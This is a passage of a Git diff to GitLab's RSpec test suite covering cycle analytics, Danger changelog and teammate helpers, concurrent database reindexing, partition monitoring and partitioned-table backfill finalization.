@@ -29,7 +29,7 @@ RSpec.describe Gitlab::CycleAnalytics::PlanStage do
describe '#project_median' do
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'counts median from issues with metrics' do
@@ -67,7 +67,7 @@ RSpec.describe Gitlab::CycleAnalytics::PlanStage do
describe '#group_median' do
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'counts median from issues with metrics' do
diff --git a/spec/lib/gitlab/cycle_analytics/production_stage_spec.rb b/spec/lib/gitlab/cycle_analytics/production_stage_spec.rb
deleted file mode 100644
index 73b17194f72..00000000000
--- a/spec/lib/gitlab/cycle_analytics/production_stage_spec.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Gitlab::CycleAnalytics::ProductionStage do
- let(:stage_name) { 'Total' }
-
- it_behaves_like 'base stage'
-end
diff --git a/spec/lib/gitlab/cycle_analytics/review_stage_spec.rb b/spec/lib/gitlab/cycle_analytics/review_stage_spec.rb
index cdd1cca6837..5593013740e 100644
--- a/spec/lib/gitlab/cycle_analytics/review_stage_spec.rb
+++ b/spec/lib/gitlab/cycle_analytics/review_stage_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe Gitlab::CycleAnalytics::ReviewStage do
describe '#project_median' do
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'counts median from issues with metrics' do
@@ -70,7 +70,7 @@ RSpec.describe Gitlab::CycleAnalytics::ReviewStage do
describe '#group_median' do
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'counts median from issues with metrics' do
diff --git a/spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb b/spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb
index 9ece24074e7..719d4a69985 100644
--- a/spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb
+++ b/spec/lib/gitlab/cycle_analytics/stage_summary_spec.rb
@@ -231,7 +231,7 @@ RSpec.describe Gitlab::CycleAnalytics::StageSummary do
context 'when `from` and `to` are within a day' do
it 'returns the number of deployments made on that day' do
- Timecop.freeze(Time.now) do
+ freeze_time do
create(:deployment, :success, project: project)
options[:from] = options[:to] = Time.now
diff --git a/spec/lib/gitlab/cycle_analytics/staging_stage_spec.rb b/spec/lib/gitlab/cycle_analytics/staging_stage_spec.rb
index 69e42adb139..852f7041dc6 100644
--- a/spec/lib/gitlab/cycle_analytics/staging_stage_spec.rb
+++ b/spec/lib/gitlab/cycle_analytics/staging_stage_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe Gitlab::CycleAnalytics::StagingStage do
describe '#project_median' do
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'counts median from issues with metrics' do
@@ -79,7 +79,7 @@ RSpec.describe Gitlab::CycleAnalytics::StagingStage do
describe '#group_median' do
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'counts median from issues with metrics' do
diff --git a/spec/lib/gitlab/cycle_analytics/test_stage_spec.rb b/spec/lib/gitlab/cycle_analytics/test_stage_spec.rb
index 9a207d32167..49ee6624260 100644
--- a/spec/lib/gitlab/cycle_analytics/test_stage_spec.rb
+++ b/spec/lib/gitlab/cycle_analytics/test_stage_spec.rb
@@ -37,7 +37,7 @@ RSpec.describe Gitlab::CycleAnalytics::TestStage do
end
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'counts median from issues with metrics' do
diff --git a/spec/lib/gitlab/danger/changelog_spec.rb b/spec/lib/gitlab/danger/changelog_spec.rb
index 3c67e9ca8ea..2da60f4f8bd 100644
--- a/spec/lib/gitlab/danger/changelog_spec.rb
+++ b/spec/lib/gitlab/danger/changelog_spec.rb
@@ -16,20 +16,47 @@ RSpec.describe Gitlab::Danger::Changelog do
let(:fake_gitlab) { double('fake-gitlab', mr_labels: mr_labels, mr_json: mr_json) }
let(:changes_by_category) { nil }
+ let(:sanitize_mr_title) { nil }
let(:ee?) { false }
- let(:fake_helper) { double('fake-helper', changes_by_category: changes_by_category, ee?: ee?) }
+ let(:fake_helper) { double('fake-helper', changes_by_category: changes_by_category, sanitize_mr_title: sanitize_mr_title, ee?: ee?) }
let(:fake_danger) { new_fake_danger.include(described_class) }
subject(:changelog) { fake_danger.new(git: fake_git, gitlab: fake_gitlab, helper: fake_helper) }
- describe '#needed?' do
+ describe '#required?' do
+ subject { changelog.required? }
+
+ context 'added files contain a migration' do
+ [
+ 'db/migrate/20200000000000_new_migration.rb',
+ 'db/post_migrate/20200000000000_new_migration.rb'
+ ].each do |file_path|
+ let(:added_files) { [file_path] }
+
+ it { is_expected.to be_truthy }
+ end
+ end
+
+ context 'added files do not contain a migration' do
+ [
+ 'app/models/model.rb',
+ 'app/assets/javascripts/file.js'
+ ].each do |file_path|
+ let(:added_files) { [file_path] }
+
+ it { is_expected.to be_falsey }
+ end
+ end
+ end
+
+ describe '#optional?' do
let(:category_with_changelog) { :backend }
let(:label_with_changelog) { 'frontend' }
let(:category_without_changelog) { Gitlab::Danger::Changelog::NO_CHANGELOG_CATEGORIES.first }
let(:label_without_changelog) { Gitlab::Danger::Changelog::NO_CHANGELOG_LABELS.first }
- subject { changelog.needed? }
+ subject { changelog.optional? }
context 'when MR contains only categories requiring no changelog' do
let(:changes_by_category) { { category_without_changelog => nil } }
@@ -121,4 +148,43 @@ RSpec.describe Gitlab::Danger::Changelog do
it { is_expected.to be_falsy }
end
end
+
+ describe '#modified_text' do
+ let(:sanitize_mr_title) { 'Fake Title' }
+ let(:mr_json) { { "iid" => 1234, "title" => sanitize_mr_title } }
+
+ subject { changelog.modified_text }
+
+ it do
+ expect(subject).to include('CHANGELOG.md was edited')
+ expect(subject).to include('bin/changelog -m 1234 "Fake Title"')
+ expect(subject).to include('bin/changelog --ee -m 1234 "Fake Title"')
+ end
+ end
+
+ describe '#required_text' do
+ let(:sanitize_mr_title) { 'Fake Title' }
+ let(:mr_json) { { "iid" => 1234, "title" => sanitize_mr_title } }
+
+ subject { changelog.required_text }
+
+ it do
+ expect(subject).to include('CHANGELOG missing')
+ expect(subject).to include('bin/changelog -m 1234 "Fake Title"')
+ expect(subject).not_to include('--ee')
+ end
+ end
+
+ describe 'optional_text' do
+ let(:sanitize_mr_title) { 'Fake Title' }
+ let(:mr_json) { { "iid" => 1234, "title" => sanitize_mr_title } }
+
+ subject { changelog.optional_text }
+
+ it do
+ expect(subject).to include('CHANGELOG missing')
+ expect(subject).to include('bin/changelog -m 1234 "Fake Title"')
+ expect(subject).to include('bin/changelog --ee -m 1234 "Fake Title"')
+ end
+ end
end
diff --git a/spec/lib/gitlab/danger/helper_spec.rb b/spec/lib/gitlab/danger/helper_spec.rb
index e5018e46634..c7d55c396ef 100644
--- a/spec/lib/gitlab/danger/helper_spec.rb
+++ b/spec/lib/gitlab/danger/helper_spec.rb
@@ -76,6 +76,30 @@ RSpec.describe Gitlab::Danger::Helper do
end
end
+ describe '#changed_lines' do
+ subject { helper.changed_lines('changed_file.rb') }
+
+ before do
+ allow(fake_git).to receive(:diff_for_file).with('changed_file.rb').and_return(diff)
+ end
+
+ context 'when file has diff' do
+ let(:diff) { double(:diff, patch: "+ # New change here\n+ # New change there") }
+
+ it 'returns file changes' do
+ is_expected.to eq(['+ # New change here', '+ # New change there'])
+ end
+ end
+
+ context 'when file has no diff (renamed without changes)' do
+ let(:diff) { nil }
+
+ it 'returns a blank array' do
+ is_expected.to eq([])
+ end
+ end
+ end
+
describe "changed_files" do
it 'returns list of changed files matching given regex' do
expect(helper).to receive(:all_changed_files).and_return(%w[migration.rb usage_data.rb])
@@ -371,22 +395,6 @@ RSpec.describe Gitlab::Danger::Helper do
end
end
- describe '#missing_database_labels' do
- subject { helper.missing_database_labels(current_mr_labels) }
-
- context 'when current merge request has ~database::review pending' do
- let(:current_mr_labels) { ['database::review pending', 'feature'] }
-
- it { is_expected.to match_array(['database']) }
- end
-
- context 'when current merge request does not have ~database::review pending' do
- let(:current_mr_labels) { ['feature'] }
-
- it { is_expected.to match_array(['database', 'database::review pending']) }
- end
- end
-
describe '#sanitize_mr_title' do
where(:mr_title, :expected_mr_title) do
'My MR title' | 'My MR title'
diff --git a/spec/lib/gitlab/danger/teammate_spec.rb b/spec/lib/gitlab/danger/teammate_spec.rb
index 12819614fab..6fd32493d6b 100644
--- a/spec/lib/gitlab/danger/teammate_spec.rb
+++ b/spec/lib/gitlab/danger/teammate_spec.rb
@@ -170,47 +170,38 @@ RSpec.describe Gitlab::Danger::Teammate do
end
describe '#markdown_name' do
- context 'when timezone_experiment == false' do
- it 'returns markdown name as-is' do
- expect(subject.markdown_name).to eq(options['markdown_name'])
- expect(subject.markdown_name(timezone_experiment: false)).to eq(options['markdown_name'])
- end
+ it 'returns markdown name with timezone info' do
+ expect(subject.markdown_name).to eq("#{options['markdown_name']} (UTC+2)")
end
- context 'when timezone_experiment == true' do
- it 'returns markdown name with timezone info' do
- expect(subject.markdown_name(timezone_experiment: true)).to eq("#{options['markdown_name']} (UTC+2)")
- end
-
- context 'when offset is 1.5' do
- let(:tz_offset_hours) { 1.5 }
+ context 'when offset is 1.5' do
+ let(:tz_offset_hours) { 1.5 }
- it 'returns markdown name with timezone info, not truncated' do
- expect(subject.markdown_name(timezone_experiment: true)).to eq("#{options['markdown_name']} (UTC+1.5)")
- end
+ it 'returns markdown name with timezone info, not truncated' do
+ expect(subject.markdown_name).to eq("#{options['markdown_name']} (UTC+1.5)")
end
+ end
- context 'when author is given' do
- where(:tz_offset_hours, :author_offset, :diff_text) do
- -12 | -10 | "2 hours behind `@mario`"
- -10 | -12 | "2 hours ahead of `@mario`"
- -10 | 2 | "12 hours behind `@mario`"
- 2 | 4 | "2 hours behind `@mario`"
- 4 | 2 | "2 hours ahead of `@mario`"
- 2 | 3 | "1 hour behind `@mario`"
- 3 | 2 | "1 hour ahead of `@mario`"
- 2 | 2 | "same timezone as `@mario`"
- end
+ context 'when author is given' do
+ where(:tz_offset_hours, :author_offset, :diff_text) do
+ -12 | -10 | "2 hours behind `@mario`"
+ -10 | -12 | "2 hours ahead of `@mario`"
+ -10 | 2 | "12 hours behind `@mario`"
+ 2 | 4 | "2 hours behind `@mario`"
+ 4 | 2 | "2 hours ahead of `@mario`"
+ 2 | 3 | "1 hour behind `@mario`"
+ 3 | 2 | "1 hour ahead of `@mario`"
+ 2 | 2 | "same timezone as `@mario`"
+ end
- with_them do
- it 'returns markdown name with timezone info' do
- author = described_class.new(options.merge('username' => 'mario', 'tz_offset_hours' => author_offset))
+ with_them do
+ it 'returns markdown name with timezone info' do
+ author = described_class.new(options.merge('username' => 'mario', 'tz_offset_hours' => author_offset))
- floored_offset_hours = subject.__send__(:floored_offset_hours)
- utc_offset = floored_offset_hours >= 0 ? "+#{floored_offset_hours}" : floored_offset_hours
+ floored_offset_hours = subject.__send__(:floored_offset_hours)
+ utc_offset = floored_offset_hours >= 0 ? "+#{floored_offset_hours}" : floored_offset_hours
- expect(subject.markdown_name(timezone_experiment: true, author: author)).to eq("#{options['markdown_name']} (UTC#{utc_offset}, #{diff_text})")
- end
+ expect(subject.markdown_name(author: author)).to eq("#{options['markdown_name']} (UTC#{utc_offset}, #{diff_text})")
end
end
end
diff --git a/spec/lib/gitlab/data_builder/deployment_spec.rb b/spec/lib/gitlab/data_builder/deployment_spec.rb
index 57bde6262a9..155e66e2fcd 100644
--- a/spec/lib/gitlab/data_builder/deployment_spec.rb
+++ b/spec/lib/gitlab/data_builder/deployment_spec.rb
@@ -5,7 +5,7 @@ require 'spec_helper'
RSpec.describe Gitlab::DataBuilder::Deployment do
describe '.build' do
it 'returns the object kind for a deployment' do
- deployment = build(:deployment)
+ deployment = build(:deployment, deployable: nil, environment: create(:environment))
data = described_class.build(deployment)
diff --git a/spec/lib/gitlab/database/background_migration_job_spec.rb b/spec/lib/gitlab/database/background_migration_job_spec.rb
index 40f47325be3..dd5bf8b512f 100644
--- a/spec/lib/gitlab/database/background_migration_job_spec.rb
+++ b/spec/lib/gitlab/database/background_migration_job_spec.rb
@@ -71,6 +71,15 @@ RSpec.describe Gitlab::Database::BackgroundMigrationJob do
expect(job4.reload).to be_pending
end
+ it 'returns the number of jobs updated' do
+ expect(described_class.succeeded.count).to eq(0)
+
+ jobs_updated = described_class.mark_all_as_succeeded('::TestJob', [1, 100])
+
+ expect(jobs_updated).to eq(2)
+ expect(described_class.succeeded.count).to eq(2)
+ end
+
context 'when previous matching jobs have already succeeded' do
let(:initial_time) { Time.now.round }
let!(:job1) { create(:background_migration_job, :succeeded, created_at: initial_time, updated_at: initial_time) }
diff --git a/spec/lib/gitlab/database/batch_count_spec.rb b/spec/lib/gitlab/database/batch_count_spec.rb
index 1f84a915cdc..71d3666602f 100644
--- a/spec/lib/gitlab/database/batch_count_spec.rb
+++ b/spec/lib/gitlab/database/batch_count_spec.rb
@@ -9,12 +9,16 @@ RSpec.describe Gitlab::Database::BatchCount do
let(:column) { :author_id }
let(:in_transaction) { false }
- let(:user) { create(:user) }
- let(:another_user) { create(:user) }
- before do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:another_user) { create(:user) }
+
+ before_all do
create_list(:issue, 3, author: user)
create_list(:issue, 2, author: another_user)
+ end
+
+ before do
allow(ActiveRecord::Base.connection).to receive(:transaction_open?).and_return(in_transaction)
end
diff --git a/spec/lib/gitlab/database/concurrent_reindex_spec.rb b/spec/lib/gitlab/database/concurrent_reindex_spec.rb
new file mode 100644
index 00000000000..4e2c3f547d4
--- /dev/null
+++ b/spec/lib/gitlab/database/concurrent_reindex_spec.rb
@@ -0,0 +1,207 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::ConcurrentReindex, '#execute' do
+ subject { described_class.new(index_name, logger: logger) }
+
+ let(:table_name) { '_test_reindex_table' }
+ let(:column_name) { '_test_column' }
+ let(:index_name) { '_test_reindex_index' }
+ let(:logger) { double('logger', debug: nil, info: nil, error: nil ) }
+ let(:connection) { ActiveRecord::Base.connection }
+
+ before do
+ connection.execute(<<~SQL)
+ CREATE TABLE #{table_name} (
+ id serial NOT NULL PRIMARY KEY,
+ #{column_name} integer NOT NULL);
+
+ CREATE INDEX #{index_name} ON #{table_name} (#{column_name});
+ SQL
+ end
+
+ context 'when the index does not exist' do
+ before do
+ connection.execute(<<~SQL)
+ DROP INDEX #{index_name}
+ SQL
+ end
+
+ it 'raises an error' do
+ expect { subject.execute }.to raise_error(described_class::ReindexError, /does not exist/)
+ end
+ end
+
+ context 'when the index is unique' do
+ before do
+ connection.execute(<<~SQL)
+ DROP INDEX #{index_name};
+ CREATE UNIQUE INDEX #{index_name} ON #{table_name} (#{column_name})
+ SQL
+ end
+
+ it 'raises an error' do
+ expect do
+ subject.execute
+ end.to raise_error(described_class::ReindexError, /UNIQUE indexes are currently not supported/)
+ end
+ end
+
+ context 'replacing the original index with a rebuilt copy' do
+ let(:replacement_name) { 'tmp_reindex__test_reindex_index' }
+ let(:replaced_name) { 'old_reindex__test_reindex_index' }
+
+ let(:create_index) { "CREATE INDEX CONCURRENTLY #{replacement_name} ON public.#{table_name} USING btree (#{column_name})" }
+ let(:drop_index) { "DROP INDEX CONCURRENTLY IF EXISTS #{replacement_name}" }
+
+ let!(:original_index) { find_index_create_statement }
+
+ before do
+ allow(subject).to receive(:connection).and_return(connection)
+ allow(subject).to receive(:disable_statement_timeout).and_yield
+ end
+
+ it 'replaces the existing index with an identical index' do
+ expect(subject).to receive(:disable_statement_timeout).exactly(3).times.and_yield
+
+ expect_to_execute_concurrently_in_order(drop_index)
+ expect_to_execute_concurrently_in_order(create_index)
+
+ expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
+ expect(instance).to receive(:run).with(raise_on_exhaustion: true).and_yield
+ end
+
+ expect_to_execute_in_order("ALTER INDEX #{index_name} RENAME TO #{replaced_name}")
+ expect_to_execute_in_order("ALTER INDEX #{replacement_name} RENAME TO #{index_name}")
+ expect_to_execute_in_order("ALTER INDEX #{replaced_name} RENAME TO #{replacement_name}")
+
+ expect_to_execute_concurrently_in_order(drop_index)
+
+ subject.execute
+
+ check_index_exists
+ end
+
+ context 'when a dangling index is left from a previous run' do
+ before do
+ connection.execute("CREATE INDEX #{replacement_name} ON #{table_name} (#{column_name})")
+ end
+
+ it 'replaces the existing index with an identical index' do
+ expect(subject).to receive(:disable_statement_timeout).exactly(3).times.and_yield
+
+ expect_to_execute_concurrently_in_order(drop_index)
+ expect_to_execute_concurrently_in_order(create_index)
+
+ expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
+ expect(instance).to receive(:run).with(raise_on_exhaustion: true).and_yield
+ end
+
+ expect_to_execute_in_order("ALTER INDEX #{index_name} RENAME TO #{replaced_name}")
+ expect_to_execute_in_order("ALTER INDEX #{replacement_name} RENAME TO #{index_name}")
+ expect_to_execute_in_order("ALTER INDEX #{replaced_name} RENAME TO #{replacement_name}")
+
+ expect_to_execute_concurrently_in_order(drop_index)
+
+ subject.execute
+
+ check_index_exists
+ end
+ end
+
+ context 'when it fails to create the replacement index' do
+ it 'safely cleans up and signals the error' do
+ expect_to_execute_concurrently_in_order(drop_index)
+
+ expect(connection).to receive(:execute).with(create_index).ordered
+ .and_raise(ActiveRecord::ConnectionTimeoutError, 'connect timeout')
+
+ expect_to_execute_concurrently_in_order(drop_index)
+
+ expect { subject.execute }.to raise_error(described_class::ReindexError, /connect timeout/)
+
+ check_index_exists
+ end
+ end
+
+ context 'when the replacement index is not valid' do
+ it 'safely cleans up and signals the error' do
+ expect_to_execute_concurrently_in_order(drop_index)
+ expect_to_execute_concurrently_in_order(create_index)
+
+ expect(subject).to receive(:replacement_index_valid?).and_return(false)
+
+ expect_to_execute_concurrently_in_order(drop_index)
+
+ expect { subject.execute }.to raise_error(described_class::ReindexError, /replacement index was created as INVALID/)
+
+ check_index_exists
+ end
+ end
+
+ context 'when a database error occurs while swapping the indexes' do
+ it 'safely cleans up and signals the error' do
+ expect_to_execute_concurrently_in_order(drop_index)
+ expect_to_execute_concurrently_in_order(create_index)
+
+ expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
+ expect(instance).to receive(:run).with(raise_on_exhaustion: true).and_yield
+ end
+
+ expect(connection).to receive(:execute).ordered
+ .with("ALTER INDEX #{index_name} RENAME TO #{replaced_name}")
+ .and_raise(ActiveRecord::ConnectionTimeoutError, 'connect timeout')
+
+ expect_to_execute_concurrently_in_order(drop_index)
+
+ expect { subject.execute }.to raise_error(described_class::ReindexError, /connect timeout/)
+
+ check_index_exists
+ end
+ end
+
+ context 'when with_lock_retries fails to acquire the lock' do
+ it 'safely cleans up and signals the error' do
+ expect_to_execute_concurrently_in_order(drop_index)
+ expect_to_execute_concurrently_in_order(create_index)
+
+ expect_next_instance_of(::Gitlab::Database::WithLockRetries) do |instance|
+ expect(instance).to receive(:run).with(raise_on_exhaustion: true)
+ .and_raise(::Gitlab::Database::WithLockRetries::AttemptsExhaustedError, 'exhausted')
+ end
+
+ expect_to_execute_concurrently_in_order(drop_index)
+
+ expect { subject.execute }.to raise_error(described_class::ReindexError, /exhausted/)
+
+ check_index_exists
+ end
+ end
+ end
+
+ def expect_to_execute_concurrently_in_order(sql)
+ # Indexes cannot be created CONCURRENTLY in a transaction. Since the tests are wrapped in transactions,
+ # verify the original call but pass through the non-concurrent form.
+ expect(connection).to receive(:execute).with(sql).ordered.and_wrap_original do |method, sql|
+ method.call(sql.sub(/CONCURRENTLY/, ''))
+ end
+ end
+
+ def expect_to_execute_in_order(sql)
+ expect(connection).to receive(:execute).with(sql).ordered.and_call_original
+ end
+
+ def find_index_create_statement
+ ActiveRecord::Base.connection.select_value(<<~SQL)
+ SELECT indexdef
+ FROM pg_indexes
+ WHERE schemaname = 'public'
+ AND indexname = #{ActiveRecord::Base.connection.quote(index_name)}
+ SQL
+ end
+
+ def check_index_exists
+ expect(find_index_create_statement).to eq(original_index)
+ end
+end
diff --git a/spec/lib/gitlab/database/custom_structure_spec.rb b/spec/lib/gitlab/database/custom_structure_spec.rb
index b3bdca0acdd..04ce1e4ad9a 100644
--- a/spec/lib/gitlab/database/custom_structure_spec.rb
+++ b/spec/lib/gitlab/database/custom_structure_spec.rb
@@ -9,7 +9,6 @@ RSpec.describe Gitlab::Database::CustomStructure do
<<~DATA
-- this file tracks custom GitLab data, such as foreign keys referencing partitioned tables
-- more details can be found in the issue: https://gitlab.com/gitlab-org/gitlab/-/issues/201872
- SET search_path=public;
DATA
end
diff --git a/spec/lib/gitlab/database/migration_helpers_spec.rb b/spec/lib/gitlab/database/migration_helpers_spec.rb
index 7d26fbb1132..0bdcca630aa 100644
--- a/spec/lib/gitlab/database/migration_helpers_spec.rb
+++ b/spec/lib/gitlab/database/migration_helpers_spec.rb
@@ -903,15 +903,22 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
describe '#change_column_type_concurrently' do
it 'changes the column type' do
expect(model).to receive(:rename_column_concurrently)
- .with('users', 'username', 'username_for_type_change', type: :text, type_cast_function: nil)
+ .with('users', 'username', 'username_for_type_change', type: :text, type_cast_function: nil, batch_column_name: :id)
model.change_column_type_concurrently('users', 'username', :text)
end
+ it 'passed the batch column name' do
+ expect(model).to receive(:rename_column_concurrently)
+ .with('users', 'username', 'username_for_type_change', type: :text, type_cast_function: nil, batch_column_name: :user_id)
+
+ model.change_column_type_concurrently('users', 'username', :text, batch_column_name: :user_id)
+ end
+
context 'with type cast' do
it 'changes the column type with casting the value to the new type' do
expect(model).to receive(:rename_column_concurrently)
- .with('users', 'username', 'username_for_type_change', type: :text, type_cast_function: 'JSON')
+ .with('users', 'username', 'username_for_type_change', type: :text, type_cast_function: 'JSON', batch_column_name: :id)
model.change_column_type_concurrently('users', 'username', :text, type_cast_function: 'JSON')
end
diff --git a/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb b/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
index 042ac498373..48132d68031 100644
--- a/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
+++ b/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
@@ -86,7 +86,7 @@ RSpec.describe Gitlab::Database::Migrations::BackgroundMigrationHelpers do
let!(:id3) { create(:user).id }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
before do
diff --git a/spec/lib/gitlab/database/partitioning/partition_monitoring_spec.rb b/spec/lib/gitlab/database/partitioning/partition_monitoring_spec.rb
new file mode 100644
index 00000000000..67596211f71
--- /dev/null
+++ b/spec/lib/gitlab/database/partitioning/partition_monitoring_spec.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::Partitioning::PartitionMonitoring do
+ describe '#report_metrics' do
+ subject { described_class.new(models).report_metrics }
+
+ let(:models) { [model] }
+ let(:model) { double(partitioning_strategy: partitioning_strategy, table_name: table) }
+ let(:partitioning_strategy) { double(missing_partitions: missing_partitions, current_partitions: current_partitions) }
+ let(:table) { "some_table" }
+
+ let(:missing_partitions) do
+ [double]
+ end
+
+ let(:current_partitions) do
+ [double, double]
+ end
+
+ it 'reports number of present partitions' do
+ subject
+
+ expect(Gitlab::Metrics.registry.get(:db_partitions_present).get({ table: table })).to eq(current_partitions.size)
+ end
+
+ it 'reports number of missing partitions' do
+ subject
+
+ expect(Gitlab::Metrics.registry.get(:db_partitions_missing).get({ table: table })).to eq(missing_partitions.size)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/partitioning_migration_helpers/backfill_partitioned_table_spec.rb b/spec/lib/gitlab/database/partitioning_migration_helpers/backfill_partitioned_table_spec.rb
index 49f3f87fe61..ec3d0a6dbcb 100644
--- a/spec/lib/gitlab/database/partitioning_migration_helpers/backfill_partitioned_table_spec.rb
+++ b/spec/lib/gitlab/database/partitioning_migration_helpers/backfill_partitioned_table_spec.rb
@@ -107,6 +107,15 @@ RSpec.describe Gitlab::Database::PartitioningMigrationHelpers::BackfillPartition
end.to change { ::Gitlab::Database::BackgroundMigrationJob.succeeded.count }.from(0).to(1)
end
+ it 'returns the number of job records marked as succeeded' do
+ create(:background_migration_job, class_name: "::#{described_class.name}",
+ arguments: [source1.id, source3.id, source_table, destination_table, unique_key])
+
+ jobs_updated = subject.perform(source1.id, source3.id, source_table, destination_table, unique_key)
+
+ expect(jobs_updated).to eq(1)
+ end
+
context 'when the feature flag is disabled' do
let(:mock_connection) { double('connection') }
diff --git a/spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb b/spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb
index 86f79b213ae..44ef0b307fe 100644
--- a/spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb
+++ b/spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb
@@ -480,6 +480,153 @@ RSpec.describe Gitlab::Database::PartitioningMigrationHelpers::TableManagementHe
end
end
+ describe '#finalize_backfilling_partitioned_table' do
+ let(:source_table) { 'todos' }
+ let(:source_column) { 'id' }
+
+ context 'when the table is not allowed' do
+ let(:source_table) { :this_table_is_not_allowed }
+
+ it 'raises an error' do
+ expect(migration).to receive(:assert_table_is_allowed).with(source_table).and_call_original
+
+ expect do
+ migration.finalize_backfilling_partitioned_table source_table
+ end.to raise_error(/#{source_table} is not allowed for use/)
+ end
+ end
+
+ context 'when the partitioned table does not exist' do
+ it 'raises an error' do
+ expect(migration).to receive(:table_exists?).with(partitioned_table).and_return(false)
+
+ expect do
+ migration.finalize_backfilling_partitioned_table source_table
+ end.to raise_error(/could not find partitioned table for #{source_table}/)
+ end
+ end
+
+ context 'finishing pending background migration jobs' do
+ let(:source_table_double) { double('table name') }
+ let(:raw_arguments) { [1, 50_000, source_table_double, partitioned_table, source_column] }
+
+ before do
+ allow(migration).to receive(:table_exists?).with(partitioned_table).and_return(true)
+ allow(migration).to receive(:copy_missed_records)
+ allow(migration).to receive(:execute).with(/VACUUM/)
+ end
+
+ it 'finishes remaining jobs for the correct table' do
+ expect_next_instance_of(described_class::JobArguments) do |job_arguments|
+ expect(job_arguments).to receive(:source_table_name).and_call_original
+ end
+
+ expect(Gitlab::BackgroundMigration).to receive(:steal)
+ .with(described_class::MIGRATION_CLASS_NAME)
+ .and_yield(raw_arguments)
+
+ expect(source_table_double).to receive(:==).with(source_table.to_s)
+
+ migration.finalize_backfilling_partitioned_table source_table
+ end
+ end
+
+ context 'when there is missed data' do
+ let(:partitioned_model) { Class.new(ActiveRecord::Base) }
+ let(:timestamp) { Time.utc(2019, 12, 1, 12).round }
+ let!(:todo1) { create(:todo, created_at: timestamp, updated_at: timestamp) }
+ let!(:todo2) { create(:todo, created_at: timestamp, updated_at: timestamp) }
+ let!(:todo3) { create(:todo, created_at: timestamp, updated_at: timestamp) }
+ let!(:todo4) { create(:todo, created_at: timestamp, updated_at: timestamp) }
+
+ let!(:pending_job1) do
+ create(:background_migration_job,
+ class_name: described_class::MIGRATION_CLASS_NAME,
+ arguments: [todo1.id, todo2.id, source_table, partitioned_table, source_column])
+ end
+
+ let!(:pending_job2) do
+ create(:background_migration_job,
+ class_name: described_class::MIGRATION_CLASS_NAME,
+ arguments: [todo3.id, todo3.id, source_table, partitioned_table, source_column])
+ end
+
+ let!(:succeeded_job) do
+ create(:background_migration_job, :succeeded,
+ class_name: described_class::MIGRATION_CLASS_NAME,
+ arguments: [todo4.id, todo4.id, source_table, partitioned_table, source_column])
+ end
+
+ before do
+ partitioned_model.primary_key = :id
+ partitioned_model.table_name = partitioned_table
+
+ allow(migration).to receive(:queue_background_migration_jobs_by_range_at_intervals)
+
+ migration.partition_table_by_date source_table, partition_column, min_date: min_date, max_date: max_date
+
+ allow(Gitlab::BackgroundMigration).to receive(:steal)
+ allow(migration).to receive(:execute).with(/VACUUM/)
+ end
+
+ it 'idempotently cleans up after failed background migrations' do
+ expect(partitioned_model.count).to eq(0)
+
+ partitioned_model.insert!(todo2.attributes)
+
+ expect_next_instance_of(Gitlab::Database::PartitioningMigrationHelpers::BackfillPartitionedTable) do |backfill|
+ allow(backfill).to receive(:transaction_open?).and_return(false)
+
+ expect(backfill).to receive(:perform)
+ .with(todo1.id, todo2.id, source_table, partitioned_table, source_column)
+ .and_call_original
+
+ expect(backfill).to receive(:perform)
+ .with(todo3.id, todo3.id, source_table, partitioned_table, source_column)
+ .and_call_original
+ end
+
+ migration.finalize_backfilling_partitioned_table source_table
+
+ expect(partitioned_model.count).to eq(3)
+
+ [todo1, todo2, todo3].each do |original|
+ copy = partitioned_model.find(original.id)
+ expect(copy.attributes).to eq(original.attributes)
+ end
+
+ expect(partitioned_model.find_by_id(todo4.id)).to be_nil
+
+ [pending_job1, pending_job2].each do |job|
+ expect(job.reload).to be_succeeded
+ end
+ end
+
+ it 'raises an error if no job tracking records are marked as succeeded' do
+ expect_next_instance_of(Gitlab::Database::PartitioningMigrationHelpers::BackfillPartitionedTable) do |backfill|
+ allow(backfill).to receive(:transaction_open?).and_return(false)
+
+ expect(backfill).to receive(:perform).and_return(0)
+ end
+
+ expect do
+ migration.finalize_backfilling_partitioned_table source_table
+ end.to raise_error(/failed to update tracking record/)
+ end
+
+ it 'vacuums the table after loading is complete' do
+ expect_next_instance_of(Gitlab::Database::PartitioningMigrationHelpers::BackfillPartitionedTable) do |backfill|
+ allow(backfill).to receive(:perform).and_return(1)
+ end
+
+ expect(migration).to receive(:disable_statement_timeout).and_call_original
+ expect(migration).to receive(:execute).with("VACUUM FREEZE ANALYZE #{partitioned_table}")
+
+ migration.finalize_backfilling_partitioned_table source_table
+ end
+ end
+ end
+
def filter_columns_by_name(columns, names)
